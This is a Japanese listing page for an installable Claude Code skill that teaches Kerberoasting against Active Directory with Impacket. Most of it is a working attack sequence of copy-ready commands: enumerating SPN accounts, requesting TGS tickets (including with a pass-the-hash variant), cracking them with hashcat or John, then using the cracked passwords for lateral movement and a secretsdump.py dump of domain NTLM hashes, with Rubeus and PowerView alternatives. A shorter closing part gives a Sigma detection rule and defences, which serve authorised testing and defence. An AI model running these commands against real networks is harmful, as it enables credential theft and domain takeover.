exploiting-kerberoasting-with-impacket について
Impacketを使ったKerberoastingの手順を、認可されたテスト担当者や防御チーム向けに解説するセキュリティスキルです。SPNの列挙、チケット要求、オフライン解析、検知に加え、防御策や関連するWindowsツールも扱います。
主な機能
- 01SPNを持つアカウントの列挙
- 02GetUserSPNs.pyによるTGSチケット要求
- 03HashcatまたはJohn the Ripperでのオフライン解析
- 04検知の手掛かりと防御策の確認
活用シーン
- 01認可されたActive Directoryレッドチームテスト
- 02管理された環境でのKerberoasting痕跡の分析
- 03Kerberosチケット要求の監視策の作成
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-kerberoasting-with-impacketインストール後、Claude Code で/exploiting-kerberoasting-with-impacketを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
Impacket を使った Kerberoasting の悪用
概要
Kerberoasting(MITRE ATT&CK T1558.003)は、サービスプリンシパル名(SPN)を持つアカウントの Kerberos TGS(Ticket Granting Service)チケットを要求し、Active Directory のサービスアカウントを標的とする認証情報アクセス手法です。TGS チケットはサービスアカウントの NTLM ハッシュ(RC4 または AES)で暗号化されるため、オフラインでブルートフォースによるクラックが可能です。Impacket の GetUserSPNs.py は、Linux ベースの Kerberoasting 攻撃における標準ツールです。
使用する場面
- Impacket を使った Kerberoasting の悪用を含む、許可を得たセキュリティテストを実施する場合
- 制御された環境でマルウェアのサンプルや攻撃の痕跡を分析する場合
- レッドチーム演習や侵入テストを実施する場合
- 攻撃手法の理解に基づいて検知機能を構築する場合
前提条件
- 有効なドメイン認証情報(任意のドメインユーザーが TGS チケットを要求できます)
- ドメインコントローラーへのネットワークアクセス(Kerberos 用 TCP/88、LDAP 用 TCP/389)
- Impacket のインストール(
pip install impacket) - オフラインでクラックするための Hashcat または John the Ripper
- ワードリスト(例:rockyou.txt、SecLists)
**法的通知:**このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
MITRE ATT&CK のマッピング
| 手法 ID | 名前 | 戦術 |
|---|---|---|
| T1558.003 | Kerberos チケットの窃取または偽造:Kerberoasting | 認証情報アクセス |
| T1087.002 | アカウントの探索:ドメインアカウント | 探索 |
| T1110.002 | ブルートフォース:パスワードクラック | 認証情報アクセス |
ステップ 1:Kerberoasting の対象となるアカウントを列挙する
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# Output example:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10
ステップ 2:TGS チケットを要求する
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txt
ステップ 3:TGS チケットをオフラインでクラックする
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
ステップ 4:クラックした認証情報を検証して使用する
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
代替ツール
Rubeus(Windows)
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
PowerView(PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
標的を絞った Kerberoasting
Kerberoasting における価値の高い標的:
| アカウントの種類 | 理由 | リスク |
|---|---|---|
| Domain Admins のサービスアカウント | ドメイン侵害に直接つながる | 重大 |
| SQL サービスアカウント(MSSQLSvc) | 過剰な権限を持つことが多い | 高 |
| Exchange サービスアカウント | すべてのメールにアクセスできる | 高 |
| AdminCount=1 のアカウント | 過去または現在、特権を持つ | 高 |
| 古いパスワードを使用しているアカウント | 弱いパスワードを使用している可能性が高い | 中 |
検知
Windows イベントログ
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs
Sigma ルール
title: Potential Kerberoasting Activity
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003
防御に関する推奨事項
- グループ管理サービスアカウント(gMSA)を使用する - 240 文字のランダムなパスワードを自動でローテーションします
- すべてのサービスアカウントに強力なパスワード(25 文字以上)を設定する
- AES のみの暗号化を有効にする - GPO で RC4 を無効にします
- イベント ID 4769 を監視する - RC4 TGS 要求を確認します
- gMSA が利用できない場合は、管理サービスアカウントを導入する
- 定期的な監査を行う - BloodHound を実行し、Kerberoasting の対象となるアカウントを特定します
- Protected Users グループ - 機密性の高いサービスアカウントを追加します
- ハニーポット SPN - SPN を持つおとりアカウントを作成して攻撃を検知します
参考資料
- MITRE ATT&CK T1558.003:https://attack.mitre.org/techniques/T1558/003/
- Impacket:https://github.com/fortra/impacket
- Harmj0y による Kerberoasting の再考:https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- 検知戦略 DET0157:https://attack.mitre.org/detectionstrategies/DET0157/
コメント
Markdown 対応